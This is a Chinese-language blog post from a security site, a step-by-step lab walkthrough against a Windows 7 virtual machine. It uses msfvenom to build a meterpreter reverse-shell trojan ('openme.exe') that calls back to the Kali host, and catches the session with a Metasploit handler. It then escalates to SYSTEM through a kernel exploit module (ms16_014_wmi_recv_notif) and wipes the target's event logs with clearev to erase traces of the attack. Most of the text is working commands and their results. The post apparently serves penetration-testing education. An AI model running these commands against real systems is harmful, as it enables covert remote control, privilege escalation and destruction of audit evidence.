freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

木马程序攻击+利用Windows内核漏洞提权
2022-12-02 17:24:06
所属地 河北省

本实验实现1:在攻击主机kali上,使用msfvenom工具,制作一个木马程序,并开启监听模块,对该木马程序进行实时监听,然后将这个木马程序发送给目标主机win7,一旦目标主机win7打开运行这个木马程序,则会立即被kali开启的监听模块监听到,并成功开启连接会话,最终攻击成功

本实验实现2:攻击成功后,想要在kali控制win7后,清除win7中的应用程序日志、系统日志、安全日志,以达到抹去攻击痕迹的目的,后发现权限不够的问题,则利用Windows内核漏洞进行提权操作,最终成功清除日志

在VMware上建立两个虚拟机:win7和kali

Kali:它是Linux发行版的操作系统,它拥有超过300个渗透测试工具,就不用自己再去找安装包,去安装到我们自己的电脑上了,毕竟自己从网上找到,也不安全。它甚至还集成了600多种黑客工具,很强大。

可以永久免费使用,基本上学黑客攻击必会用到这个系统

靶机:Win7 64位 (IP: 192.168.10.41)--用ipconfig进行查询

1669883686_6388672601c22eaff766a.png!small?1669883687512

攻击机:Kali (IP:192.168.10.21)--用ifconfig进行查询

1669883711_6388673f4c88c3cf4bc84.png!small?1669883713029

1、实验环境前提条件

win7中,关闭防火墙(“打开网络和共享中心”-“Windows防火墙”-“打开或关闭Windows防火墙”-均选择关闭选项)

保证两个虚拟机是可以ping通的(尤其是在kali中去ping win7,看能否连通)

$ping 192.168.10.41

1669883772_6388677c7ddf32e35daa0.png!small?1669883774200

2、制作木马程序

msfvenom是kali自带的制作木马的工具,是msfpayload和msfencode的结合体,我们可以利用msfvenom来制作木马程序,以实现在目标主机上执行,在攻击主机上监听这一系列的操作

$msfvenom  -p windows/x64/meterpreter/reverse_tcp  LHOST=192.168.10.21  LPORT=50000  -f exe  -o openme.exe

重点关注5个参数配置:

-p:设置木马程序的攻击载体;

LHOST:本地监听的地址,就是谁来监听这个程序,也指回连地址,自然是kali的地址;

LPORT:本地监听地址的端口号,也指回连端口,即kali地址的端口号,理论上可随意设置,但范围不要

超过65535,且不可设置为常见的特殊的端口号;

-f:指定木马程序的格式为exe(可执行的程序文件);

-o:指定木马程序的文件名称;

结果:成功生成一个木马程序openme.exe,并保存于kali中的/home/kali目录下

1669883932_6388681cf1c324bd4c278.png!small?1669883934764

1669884023_6388687780061893075fe.png!small?1669884025091

【补充知识点:

1)端口号范围:0~65535

1669798399_638719ff3edb1751047e3.png!small?1669798400282

2)常见端口号列举

1669798422_63871a1602d8df89fbb59.png!small?1669798422938

3、赋予木马程序可执行权限

为生成的木马程序openme.exe 赋予可执行的权限,权限被修改为777(可读可写可执行),如果有必要可以对该文件执行免杀

$chmod 777 openme.exe

结果:成功将openme.exe的权限修改为可读可写可执行

1669884087_638868b7bafbc027bd95b.png!small?1669884089335

【补充知识点:

Linux系统中,每个用户的角色和权限划分的很细致也很严格,每个文件(目录)都设有访问许可权限,利用这种机制来决定某个用户通过某种方式对文件(目录)进行读、写、执行等操作;

操作文件或目录的用户,有3种不同类型:文件所有者、群组用户、其他用户。最高位表示文件所有者的权限值,中间位表示群组用户的权限值,最低位则表示其他用户的权限值。所以,chmod 777中,三个数字7分别对应上面三种用户,权限值都为7。

文件或目录的权限又分为3种:只读、只写、可执行。

1669798356_638719d4bc427141837a0.png!small?1669798357707

依照上面的表格,权限组合就是对应权限值求和,如下:

7 = 4 + 2 + 1      读写运行权限

5 = 4 + 1             读和运行权限

4 = 4                   只读权限

4、将木马程序发送给win7

将在kali中生成的木马程序openme.exe上传到win7中C盘根目录下,可使用upload命令实现文件的上传,具体操作,可参考我的另一篇文章《钓鱼网站+bypassuac提权》

结果:在win7中c盘根目录下发现传过来的木马程序openme.exe

1669884725_63886b35ee28ea3232c4b.png!small?1669884727648

注意:木马程序上传成功后,别忘了关闭当前已经连接的会话

因为为了实验上传木马程序开启的会话,此时已经没用了,所以,避免后续会话的混淆,建议关闭当前的会话连接

meterpreter>exit

结果:提示“192.168.10.41-Meterpreter session 1 closed”--已关闭对192.168.10.41的会话连接,,后续不会再查看到该会话,也不可以再次发起对该会话的连接

1669884858_63886bbaaaeb327129c35.png!small?1669884860368

5、打开Metasploit渗透工具

Metasploit是一款开源的安全漏洞检测工具,msfconsole用于启动msf终端

$msfconsole

结果:成功进入,进入到"msf6>“的模式下

1669884976_63886c300ba3ce8ddedfa.png!small?1669884977752

6、开启监听模块

直接打开一个监听的模块,能够反弹shell监听模块,进行攻击,进入模块中

>use exploit/multi/handler

结果:成功切换到这个模块之下--”msf6 exploit(multi/handler)>“

并提示“Using configured payload generic/shell_reverse_tcp”--使用的payload为generic/shell_reverse_tcp

1669885029_63886c6542608ae249e65.png!small?1669885030817

7、查看该监听模块所需的参数情况

进到这个监听模块之后,先查看该模块的参数情况。类似于你使用一软件,进行攻击,是不是需要先进行一些简单的参数配置啊,需要告诉软件,要向谁发起攻击吧,这是最最基本的,所以,要配置,就要先查看都可以配置哪些参数?

>show options

结果:其中required显示的值为yes的,代表是必须要设置的项;显示的值为no的,代表是不必须要设置的项;

重点关注3个参数配置,需要设置哪个就设置哪个:

Payload:攻击载体;

LHOST:本地监听的地址,也指回连地址;

LPORT:本地监听地址的端口号,也指回连端口;

1669885116_63886cbca2a92c9b81f77.png!small?1669885119062

补充说明:

1)Payload中包含有需要在远程系统中运行的恶意代码,Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。也就是说,漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。

2)Payload模块主要有以下三种类型:-Single    -Stager    -Stage

Single是一种完全独立的Payload,实现的目的也简单,但容易被捕捉到。

Stager这种Payload负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。    一种常见的Stagers Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条tcp连接(3次握手-4次挥手)(是一个基于TCP的反向链接反弹shell, 使用起来很稳定)。

Stage是Stager Payload下载的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制。

3)windows/x64/meterpreter/reverse_tcp则由一个Stager Payload(reverse_tcp)和一个Stage Payload(meterpreter)组成。

【注意:Payloadwindows/meterpreter/reverse_tcp 默认获取到的控制通道meterpreter32位,

如果想将之后获取到的控制通道meterpreter改为64位,则设置payload为windows/x64/meterpreter/reverse_tcp

8、设置攻击载体、本地监听地址以及端口号

因为我们要开启的这个监听模块,是专门针对于openme.exe木马程序,进行的实时监听,那么,必然需要将监听模块的参数配置,与openme.exe木马程序的参数配置保持一致,只有这样,才能达到准确的监听

之前制作openme.exe的参数为:

"msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.10.21 LPORT=50000"

因此,我们也就需要将监听模块的攻击载体Payload,与木马程序的payload保持一致:

>set payload windows/x64/meterpreter/reverse_tcp

需要将监听模块的本地监听地址LHOST,与木马程序的LHOST保持一致:

>set LHOST 192.168.10.21

需要将监听模块的本地监听地址的端口号LPORT,与木马程序的LPORT保持一致:

>set LPORT 50000

1669885244_63886d3c1bc656b684bdd.png!small?1669885245727

9、再次进行检查

>show options

1669885289_63886d69b1f196e359f02.png!small?1669885291912

10、检查无误后,发起攻击

>run

结果:开启针对192.168.10.21:50000的监听模式,光标会停留在这,等待有用户打开运行openme.exe木马程序,从而有反馈信息回连到192.168.10.21:50000上来

1669885321_63886d8929d2bd7f8c18a.png!small?1669885322835

11、打开木马程序

到win7中的C盘根目录下找到木马程序openme.exe,尝试去双击打开,即可触发会话连接,会尝试连接到监听模块中

结果1:在win7中打开该木马程序后,不会有任何的反馈结果

1669885377_63886dc15b418aca24570.png!small?1669885379118

结果2:由于在win7中触发打开了木马程序openme.exe,那么,在kali中,则会被触发会话连接,监听模块中会显示有192.168.10.41(也就是目标主机)尝试打开运行了木马程序,最终,“meterpreter session 1 opened”--表明已经开通192.168.10.21:50000和192.168.10.41:49172的会话连接1

一般会自动进入控制通道meterpreter,交互模式,表明攻击成功

1669885355_63886dab6e336153c0e49.png!small?1669885357344

注意:

一旦开通一个会话连接后,若系统没有自动进入控制通道,则可以尝试回车,进行手动连接

1)手动查看当前存在的会话

注意在目录msf>下,手动查看当前存在的会话

结果:当前只有会话连接1,meterpreter建立的连接类型type是x64--64位的(由模块中的payload设定),以及展示目标主机192.168.10.41的基本信息和连接信息

>sessions

2)选择连接当前已经开通的会话1

>sessions -i 1

结果:成功进入控制通道meterpreter,交互模式,表明攻击成功

12、实现清除日志操作

在kali控制win7后,想要清除win7中的应用程序日志、系统日志、安全日志,以达到抹去攻击痕迹的目的

12.1)查看未清除之前的win7的日志存储情况

在win7中,开始菜单栏中搜索“事件查看器”,并打开。在“事件查看器”中存有Windows日志,包含应用程序日志、系统日志、安全日志的大量数据

1669885841_63886f91165b299f9abe3.png!small?16698858427241669885861_63886fa5141feafb8cd91.png!small?16698858629301669885880_63886fb84a23ef1fd6823.png!small?16698858819031669885900_63886fcc1c55287a085f4.png!small?1669885901979


12.2)清除win7日志

meterpreter>clearev

结果:不能完全将win7中的日志清除,提示错误信息“operation failed:access is denied”----操作失败: 访问被拒绝

1669885963_6388700b9b6fe6a875358.png!small?1669885965274

12.3)分析错误的原因

要考虑,访问被拒绝,是不是权限上的问题,一般来说,权限够的话,命令是不应该被拒绝,所以要考虑提权的问题。

补充知识点

windows系统中用户权限

user【普通用户-张三】;

administrator【管理员用户】;

system【系统用户、虽不可登录,最高权限,但对系统有完整的控制权】;

Linux系统中用户权限

user【普通用户】;

root【超级用户】;

13、利用Windows内核漏洞进行提权

考虑是权限不够的问题,尝试提权,常用的提权方式有,先利用bypassuac模块用来绕过Windows的UAC限制,然后再使用getsystem命令进行手动提权,可参考我的另一篇文章《钓鱼网站+bypassuac提权》

接下来,我们来看另一种提权的方式-利用Windows内核漏洞

【补充:

Metasploit内置模块提供了各种可用于提权的local exploits,并会基于架构、平台(操作系统)、会话类型和所需默认选项提供建议。这样,可以极大的节省了攻击者的时间,省去了手动搜索local exploits的麻烦

但需要注意的有两点:一是,要使用local exploit suggester的话,前提必须已经在目标主机上获取到了一个控制通道会话meterpreter session,且在运行local exploit suggester之前,需要将现有的控制通道会话调到后台运行;二是,并不保证所有列出的local exploits都可用,还需要去尝试验证才行

13.1)查看当前权限

以上都是我们的分析,认为是权限的问题,那我们就来验证一下吧,进行当前权限的查看,看当前的权限到底是不是普通的权限啊,不是最高权限system

而且,我们还需认清一个事实,就是:在获得了session后,说明建立了至少一个会话了,我们可以通过连接会话,来获取控制通道meterpreter,但注意,这并不意味着我们就可以为所欲为了,必然是会有一个权限的问题,一般不会一上来就能获得最高的权限,所以,会有两种情况:获得system最高权限,或者是普通用户权限

meterpreter>getuid

结果:查看当前获得的用户的权限,只是普通用户权限”18044“,不是最高权限system

1669886052_638870645c33e2773aff6.png!small?1669886053909

13.2)挂起当前会话

由于Windows内核漏洞提权操作,是依赖于在已经获得普通用户权限的基础上,进行提权,并最终获得一个新的会话连接(注意:新的会话连接得到的权限必为最高权限,无需再进行手动提权),所以至少要保留一个已成功开启的session会话连接,以供后续使用

因此,可以利用background进行返回,将利用木马程序攻击打开的控制通道meterpreter,在后台挂起,把当前的session会话1放入后台

meterpreter>background

结果:成功将session会话1挂起到后台,并没有断开连接,且成功切换到msf >目录下

1669886088_6388708822115e7dfc733.png!small?1669886089693

13.3)检测目标主机可能存在哪些提权漏洞

利用post/multi/recon/local_exploit_suggester检测模块,检测目标主机win7可能存在哪些提权漏洞,就需要先进入这个检测模块中去

注意:

使用该漏洞模块时,要注意meterpreter的位数,如果目标主机是64位的话,就必须使用64位的meterpreter,也就是说,由于我们实验的环境中,目标主机win7是64位的操作系统,所以,就要保证meterpreter建立的会话连接session 1的类型type也要是64位的,否则的话,会存在漏洞利用失败的问题

这也是为什么,最开始在制作木马程序时,设置的-p和设置监听模块中的payload,都将其中的攻击载体设置为x64的了(windows/x64/meterpreter/reverse_tcp),只有这样才能保证我们得到的session 1的meterpreter的类型是64位的

>use post/multi/recon/local_exploit_suggester

结果:成功切换到这个模块之下--”msf6 post(multi/recon/local_exploit_suggester)>“

1669886254_6388712e9009b854de17f.png!small?1669886256237

13.4)查看该漏洞模块的参数情况

进到这个检测模块之后,先查看该模块的参数情况

>show options

结果:其中required显示的值为yes的,代表是必须要设置的项;显示的值为no的,代表是不必须要设置的项;

仅有1个参数配置需要设置:

SESSION(已开启的会话连接);

1669886293_638871558783a4ef23e02.png!small

13.5)设置已开启的会话连接

发现仅SESSION为空,待设置,提示“the session to run this module on”-“运行此模块的会话”,我们肯定要设置一个已有的会话号吧,若是没有的会话,设置它也没法用,所以,参数SESSION指的是已开启的会话连接,应设置成我们已有的session连接会话1,被我们挂起放在后台了

>set SESSION 1

结果:设置成功

1669886329_63887179934c95dc0e2f9.png!small?1669886331063

13.6)再次进行检查

>show options

结果:SESSION不为空,设置成功

1669886358_638871964d7a395a8a85f.png!small?1669886360067

13.7)检查无误后,发起攻击

>run

结果:检测出目标主机win7可能存在的提权漏洞都有哪些,一共检测出7个提权漏洞

exploit/windows/local/bypassuac_dotnet_profiler;
exploit/windows/local/bypassuac_sdclt;
exploit/windows/local/cve_2019_1458_wizardopium;
exploit/windows/local/cve_2020_1054_drawiconex_lpe;
exploit/windows/local/ms10_092_schelevator;
exploit/windows/local/ms16_014_wmi_recv_notif;
exploit/windows/local/tokenmagic;

注意:每个提权漏洞后面都有同一句提示“the target appears to be vulnerable;”-这个目标可能很脆弱

这就说明,都是可能存在能提权的漏洞,也有可能不存在,只能做一个参考,需要我们自己去手动尝试攻击验证,当然有可能成功,有可能不成功

1669886544_6388725018858ebd2aff6.png!small?1669886546717

13.8)尝试利用其中一个漏洞模块,进行攻击

利用其中一个漏洞攻击模块exploit/windows/local/ms16_014_wmi_recv_notif,进行攻击,进入模块中

>use exploit/windows/local/ms16_014_wmi_recv_notif

结果:成功切换到这个模块之下--”msf6 exploit(windows/local/ms16_014_wmi_recv_notif)>“

并提示“no payload configured,defaulting to windows/x64/meterpreter/reverse_tcp”--没有配置payload,默认为 windows/x64/meterpreter/reverse_tcp

1669886594_63887282ee2e809886bf7.png!small?1669886596472

13.9)查看该漏洞模块的参数情况

进到这个漏洞模块之后,先查看该模块的参数情况

>show options

结果:其中required显示的值为yes的,代表是必须要设置的项;显示的值为no的,代表是不必须要设置的项;

重点关注4个参数配置,需要设置哪个就设置哪个:

Payload(攻击载体-为windows/x64/meterpreter/reverse_tcp--要保证meterpreter建立的会话连接

session 1的类型type也要是64位的,前面提到过原因

SESSION(已开启的会话连接);

LHOST(发起攻击的地址-kali地址);

LPORT(发起攻击的端口-使用默认获取的端口即可)

1669971604_6389be94d5d023f330492.png!small?1669971608701

13.10)设置已开启的会话连接

其它(payload/LHOST/LPORT)均已获取,且正确。

发现仅SESSION为空,待设置,提示“the session to run this module on”-“运行此模块的会话”,所以,参数SESSION指的是已开启的会话连接,应设置成我们已有的session连接会话1,被我们挂起放在后台了

>set SESSION 1

结果:设置成功

1669971647_6389bebf6b7c318b8602c.png!small?1669971651073

13.11)再次进行检查

>show options

结果:SESSION不为空,其他各项也都没问题,设置成功

1669971668_6389bed479b80bc7ec780.png!small?1669971672268

13.12)检查无误后,发起攻击

>run

结果:利用exploit/windows/local/ms16_014_wmi_recv_notif漏洞模块对目标主机win7发起了攻击,“meterpreter session 2 opened”--表明已经开通了192.168.10.21:4444和192.168.10.41:49176的新会话连接2

一般会自动进入控制通道meterpreter,交互模式,表明攻击成功

1669971723_6389bf0b5e55630de66b7.png!small?1669971727173

注意:

一旦开通一个会话连接后,若系统没有自动进入控制通道,则可以尝试回车,进行手动连接

1)手动查看当前存在的会话

注意在目录msf>下

>sessions

结果:显示会话连接1和新生成的会话连接2,要分清两个会话,会话1是利用木马程序攻击目标主机win7成功打开的连接,会话2是利用Windows内核漏洞对已开启的会话1进行提权操作,而新生成的会话

1669971779_6389bf43ed6dedc1644a2.png!small?1669971783700

2)选择连接当前已经开通的新会话2

注意:就不要再连接会话1了,我们之前已经试过会话1,连接到控制通道,发现因权限不够,而操作失败。所以,要选择连接会话2,这是我们利用Windows内核漏洞,开启的新的会话连接,肯定要进到该会话中,才能实现成功提权的目的】

>sessions -i 2

结果:进入控制通道meterpreter,交互模式,表明攻击成功

1669971795_6389bf53e1eed01b9c11d.png!small?1669971799553

13.13)查看当前权限

理论上,我们已经利用了Windows内核漏洞进行了提权,但鉴于使用的漏洞并不一定可以提权成功,所以需要进行验证

因此,进入控制通道后,先查看当前获得的用户权限

meterpreter>getuid

结果:成功获取到最高权限system,提权成功

1669971867_6389bf9ba5686cdac6e51.png!small?1669971871360

14、再次进行清除日志操作

meterpreter>clearev

结果1:kali中提示清除成功,已成功删除Application(应用程序日志)的279项记录、System(系统日志)的1029项记录、Security(安全日志)的229项记录

1669971878_6389bfa6f0ef59692a57d.png!small?1669971882700

结果2:win7中显示清除成功,再次打开或刷新“事件查看器”,发现在Windows日志中,存有的应用程序日志、系统日志、安全日志,已经清空

1669971956_6389bff46b64c107bc4fb.png!small?16699719601541669971964_6389bffc4e2b66327862a.png!small?16699719679521669971980_6389c00c394fe574c363a.png!small?16699719838741669971990_6389c0163a098c2e1153c.png!small?1669971993876


# 漏洞 # 渗透测试 # 网络安全 # 漏洞分析 # 网络安全技术
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者